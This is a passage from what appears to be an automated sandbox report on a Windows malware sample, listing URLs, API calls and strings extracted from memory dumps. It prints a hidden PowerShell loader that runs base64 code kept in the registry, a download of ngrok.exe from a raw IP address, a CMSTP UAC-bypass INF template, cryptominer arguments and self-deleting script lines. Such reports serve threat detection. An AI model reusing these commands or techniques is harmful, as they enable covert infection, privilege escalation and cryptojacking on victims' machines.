"http://www.w3.org/TR/1999/REC-xslt-19991116" Pattern match: "http://www.w3.org/2000/09/xmldsig#enveloped-signature" Pattern match: "http://www.w3.org/2002/07/decrypt#XML" Pattern match: "http://www.w3.org/2000/09/xmldsig#" Pattern match: "http://www.w3.org/2001/04/xmlenc#" Pattern match: "http://www.w3.org/2000/09/xmldsig#hmac-sha1" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#md5" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-md5" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-ripemd160" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha256" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha512"4e:T985,Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00003440.00000000.71982.001B0000.00000004.mdmp") Found URL "https://geocoder.ca/?locate=apacityo" - Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp") Found URL "http://91.134.207.16/update/ngrok.exeset" - Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp") Found URL "http://91.134.207.16/update/ngrok.exe','%exefile%');%exefile%" - Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp") Found URL "ftp://xecuting" - Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp") Found URL "http://91.134.207.16/update/ngrok.exeet" - Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00003440.00000000.71982.01C60000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00003440.00000000.71982.01C60000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00003440.00000001.73903.001B0000.00000004.mdmp") Found URL "https://geocoder.ca/?locate=apacityo" - Source: "00000000-00003440.00000001.73903.00F52000.00000020.mdmp") Found URL "http://91.134.207.16/update/ngrok.exeset" - Source: "00000000-00003440.00000001.73903.00F52000.00000020.mdmp") Found URL "http://91.134.207.16/update/ngrok.exe','%exefile%');%exefile%" - Source: "00000000-00003440.00000001.73903.00F52000.00000020.mdmp") Found URL "ftp://xecuting" - Source: "00000000-00003440.00000001.73903.00F52000.00000020.mdmp") Found URL "http://91.134.207.16/update/ngrok.exeet" - Source: "00000000-00003440.00000001.73903.00F52000.00000020.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00003440.00000002.75822.001B0000.00000004.mdmp") Found URL "https://geocoder.ca/?locate=apacityo" - Source: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found URL "http://91.134.207.16/update/ngrok.exeset" - Source: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found URL "http://91.134.207.16/update/ngrok.exe','%exefile%');%exefile%" - Source: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found URL "ftp://xecuting" - Source: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found URL "http://91.134.207.16/update/ngrok.exeet" - Source: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp")4f:T9e6,".exe" called "NtQueryAttributesFile" with parameters {"FileAttributes": "0" "$name": "C:\\Windows\\SYSTEM32\\MSCOREE.DLL"} ".exe" called "NtQueryAttributesFile" with parameters {"FileAttributes": "0" "$name": "C:\\Windows\\SYSTEM32\\sechost.dll"} ".exe" called "NtQueryAttributesFile" with parameters {"FileAttributes": "0" "$name": "C:\\Windows\\Temp\\VxSSL32.dll"} ".exe" called "NtQueryAttributesFile" with parameters {"FileAttributes": "0" "$name": "C:\\Windows\\system32\\api-ms-win-core-fibers-l1-1-1.DLL" "$status": "c0000034"} ".exe" called "NtQueryAttributesFile" with parameters {"FileAttributes": "0" "$name": "C:\\Windows\\system32\\api-ms-win-core-localization-l1-2-1.DLL" "$status": "c0000034"} ".exe" called "NtQueryAttributesFile" with parameters {"FileAttributes": "0" "$name": "C:\\Windows\\SYSTEM32\\MSCOREE.DLL.local" "$status": "c0000034"} ".exe" called "NtQueryAttributesFile" with parameters {"FileAttributes": "0" "$name": "C:\\Windows\\system32\\api-ms-win-appmodel-runtime-l1-1-2.dll" "$status": "c0000034"} ".exe" called "NtQueryAttributesFile" with parameters {"FileAttributes": "0" "$name": "C:\\Windows\\system32\\api-ms-win-appmodel-runtime-l1-1-0.dll" "$status": "c0000034"} ".exe" called "NtQueryAttributesFile" with parameters {"FileAttributes": "0" "$name": "C:\\Windows\\system32\\VERSION.dll"} ".exe" called "NtQueryAttributesFile" with parameters {"FileAttributes": "0" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll"} ".exe" called "NtQueryAttributesFile" with parameters {"FileAttributes": "0" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\VCRUNTIME140_CLR0400.dll" "$status": "c0000034"} ".exe" called "NtQueryAttributesFile" with parameters {"FileAttributes": "0" "$name": "C:\\Windows\\system32\\VCRUNTIME140_CLR0400.dll"} ".exe" called "NtQueryAttributesFile" with parameters {"FileAttributes": "0" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ucrtbase_clr0400.dll" "$status": "c0000034"} ".exe" called "NtQueryAttributesFile" with parameters {"FileAttributes": "0" "$name": "C:\\Windows\\system32\\ucrtbase_clr0400.dll"} ".exe" called "NtQueryAttributesFile" with parameters {"FileAttributes": "0" "$name": "C:\\Windows\\system32\\api-ms-win-core-quirks-l1-1-0.dll" "$status": "c0000034"}50:T79d,".exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "8" "TokenHandle": "24"} ".exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "168" "DesiredAccess": "8" "TokenHandle": "172"} ".exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "168" "DesiredAccess": "8" "TokenHandle": "176"} ".exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "176" "DesiredAccess": "8" "TokenHandle": "168"} ".exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "131080" "TokenHandle": "260"} ".exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "8" "TokenHandle": "348" "$name": "C:\\Windows\\System32\\rpcss.dll"} ".exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "8" "TokenHandle": "352"} ".exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "352" "DesiredAccess": "8" "TokenHandle": "356"} ".exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "131080" "TokenHandle": "352"} ".exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "8" "TokenHandle": "512" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp"} ".exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "8" "TokenHandle": "540"} ".exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "10" "TokenHandle": "68"} ".exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "8" "TokenHandle": "504"}51:T481,Found reference to API "CreateDC" (Indicator: "CreateDC"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "CreateDC" (Indicator: "CreateDC"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")52:T662,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "GetProcessById" (Indicator: "GetProcessById"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "GetModuleHandle" (Indicator: "GetModuleHandle"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "GetProcessesByName" (Indicator: "GetProcessesByName"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "GetProcessById" (Indicator: "GetProcessById"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "GetModuleHandle" (Indicator: "GetModuleHandle"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "GetProcessesByName" (Indicator: "GetProcessesByName"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")53:T6f7,file/memory contains long string with (Indicator: "GetTempPath"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "GetTempPath" (Indicator: "GetTempPath"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "GetTempFileName" (Indicator: "GetTempFileName"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "GetCurrentDirectory" (Indicator: "GetCurrentDirectory"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") file/memory contains long string with (Indicator: "GetTempPath"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "string pathm = Path.Combine(Path.GetTempPath(), "mineworm");" (Indicator: "GetTempPath"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "GetTempPath" (Indicator: "GetTempPath"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "GetTempFileName" (Indicator: "GetTempFileName"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "GetCurrentDirectory" (Indicator: "GetCurrentDirectory"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")54:T4ad,Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "MapVirtualKeyEx" (Indicator: "MapVirtualKey"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "MapVirtualKeyEx" (Indicator: "MapVirtualKey"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")55:Taa7,Found string "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Get-ItemProperty"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\\Software\\JavaSoft\\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Get-ItemProperty"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\\Software\\Ccleaner\\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Get-ItemProperty"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "hell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Get-ItemProperty"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Get-ItemProperty"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Get-ItemProperty"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Get-ItemProperty"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")56:T65e,System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at 7a98ca652a682ae96bc3f9ac6d554d82-600097f-_~_e_ System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at 7a98ca652a682ae96bc3f9ac6d554d82-60000c9-_~_ System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at 7a98ca652a682ae96bc3f9ac6d554d82-6000a89-_~_ System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at 7a98ca652a682ae96bc3f9ac6d554d82-600087c-_~_ System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at 7a98ca652a682ae96bc3f9ac6d554d82-6000a7e-_~_X_ System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at 7a98ca652a682ae96bc3f9ac6d554d82-6000894-_~_ System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at 7a98ca652a682ae96bc3f9ac6d554d82-600086a-_~_ System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at 7a98ca652a682ae96bc3f9ac6d554d82-6000a7c-_~_ System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at 7a98ca652a682ae96bc3f9ac6d554d82-6000a7f-_~_ System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at 7a98ca652a682ae96bc3f9ac6d554d82-600007e-_~_ System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at 7a98ca652a682ae96bc3f9ac6d554d82-60000cf-_~_57:Td08,Found string "password" (Indicator: "password"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "passwordBytes" (Indicator: "password"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") file/memory contains long string with (Indicator: "password"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "%password%" (Indicator: "password"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") file/memory contains long string with (Indicator: "password"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00003440.00000000.71982.001B0000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00003440.00000000.71982.001B0000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00003440.00000000.71982.001B0000.00000004.mdmp") Found string "password%" (Indicator: "password"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "WinHttpReq.Open "GET", LHPSH, False ', "username", "password"" (Indicator: "password"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "password" (Indicator: "password"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "passwordBytes" (Indicator: "password"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "string CPU = exe +" -o %pool% -u %user% -p %password% -a %algo% -t " + threadint;" (Indicator: "password"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "private static void Encrypt(string inputFile, string outputFile, byte[] passwordBytes)" (Indicator: "password"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);" (Indicator: "password"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "passwordFormat" (Indicator: "password"; Source: "00000000-00003440.00000000.71982.01C60000.00000004.mdmp") Found string "passwordAttemptWindow" (Indicator: "password"; Source: "00000000-00003440.00000000.71982.01C60000.00000004.mdmp") Found string "passwordStrengthRegularExpression" (Indicator: "password"; Source: "00000000-00003440.00000000.71982.01C60000.00000004.mdmp")58:T5bd,"' -Verb RunAs" taskkill /IM cmstp.exe /F [CustInstDestSectionAllUsers] 49000 49001=AllUSer_LDIDSection 7 [AllUSer_LDIDSection] "HKLM" "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE" "ProfileInstallPath" "%UnexpectedError%" "" [Strings] ServiceName="CMMGR32" ShortSvcName="CMMGR32"" (Indicator: "microsoft\windows\currentversion\app paths") in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, "on]Signature=$chicago$AdvancedINF=2.5[DefaultInstall]CustomDestination=CustInstDestSectionAllUsersRunPreSetupCommands=RunPreSetupCommandsSection[RunPreSetupCommandsSection]; Commands Here will be run Before Setup Begins to installREPLACE_COMMAND_LINEtaskkill /IM cmstp.exe /F[CustInstDestSectionAllUsers]49000 49001=AllUSer_LDIDSection 7[AllUSer_LDIDSection]"HKLM" "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE" "ProfileInstallPath" "%UnexpectedError%" "" (Indicator: "microsoft\windows\currentversion\app paths") in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp ""HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", """ (Indicator: "microsoft\windows\currentversion\app paths") in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp59:T1590,Found string "SELECT Caption FROM Win32_OperatingSystem" (Indicator: " Win32_OperatingSystem"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "SELECT * FROM Win32_VideoController" (Indicator: " Win32_VideoController"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "Select * From Win32_Process Where ParentProcessID=" (Indicator: " Win32_Process"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "SELECT CommandLine FROM Win32_Process WHERE ProcessId =" (Indicator: " Win32_Process"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "SELECT * FROM Win32_BIOS" (Indicator: " Win32_BIOS"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "SELECT * FROM Win32_BaseBoard" (Indicator: " Win32_BaseBoard"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "SELECT * FROM Win32_Processor" (Indicator: " Win32_Process"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "SELECT * FROM Win32_Processor" (Indicator: " Win32_Processor"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "Select * From Win32_ComputerSystem" (Indicator: " Win32_ComputerSystem"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "SELECT * FROM Win32_OperatingSystem WHERE Primary='true'" (Indicator: " Win32_OperatingSystem"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "SELECT * FROM AntivirusProduct" (Indicator: "antivirusproduct"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "FROM Win32_VideoController" (Indicator: " Win32_VideoController"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "rom Win32_ComputerSystem" (Indicator: " Win32_ComputerSystem"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "ECT CommandLine FROM Win32_Process WHERE ProcessId =" (Indicator: " Win32_Process"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "CT * FROM Win32_OperatingSystem WHERE Primary='true'" (Indicator: " Win32_OperatingSystem"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "OM AntivirusProduct" (Indicator: "antivirusproduct"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "ELECT Caption FROM Win32_OperatingSystem" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "ELECT * FROM Win32_VideoController" (Indicator: " Win32_VideoController"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "elect * From Win32_Process Where ParentProcessID=" (Indicator: " Win32_Process"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "ELECT * FROM Win32_BIOS" (Indicator: " Win32_BIOS"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "ELECT * FROM Win32_BaseBoard" (Indicator: " Win32_BaseBoard"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "ELECT * FROM Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "ELECT * FROM Win32_Processor" (Indicator: " Win32_Processor"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "elect * From Win32_ComputerSystem" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "ELECT CommandLine FROM Win32_Process WHERE ProcessId =" (Indicator: " Win32_Process"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "ELECT * FROM Win32_OperatingSystem WHERE Primary='true'" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "ELECT * FROM AntivirusProduct" (Indicator: "antivirusproduct"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")5a:Ta90,Found reference to API "DeleteFile" (Indicator: "DeleteFile"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "" "REG_DWORD"filesys.DeleteFile WScript.ScriptFullName" (Indicator: "DeleteFile"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin"), Found reference to API ""filesys.DeleteFile WScript.ScriptFullName" (Indicator: "DeleteFile"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "\"\r\nCreateObject(\"Scripting.FileSystemObject\").DeleteFile WScript.ScriptFullName" (Indicator: "DeleteFile"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin"), Found reference to API "\"\r\nHiddenStartfilesys.DeleteFile WScript.ScriptFullName" (Indicator: "DeleteFile"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "\" \"REG_DWORD\"\r\nfilesys.DeleteFile WScript.ScriptFullName" (Indicator: "DeleteFile"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin"), Found reference to API "\"\r\nfilesys.DeleteFile WScript.ScriptFullName" (Indicator: "DeleteFile"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "mObject").DeleteFile WScript.ScriptFullName" (Indicator: "DeleteFile"; File: 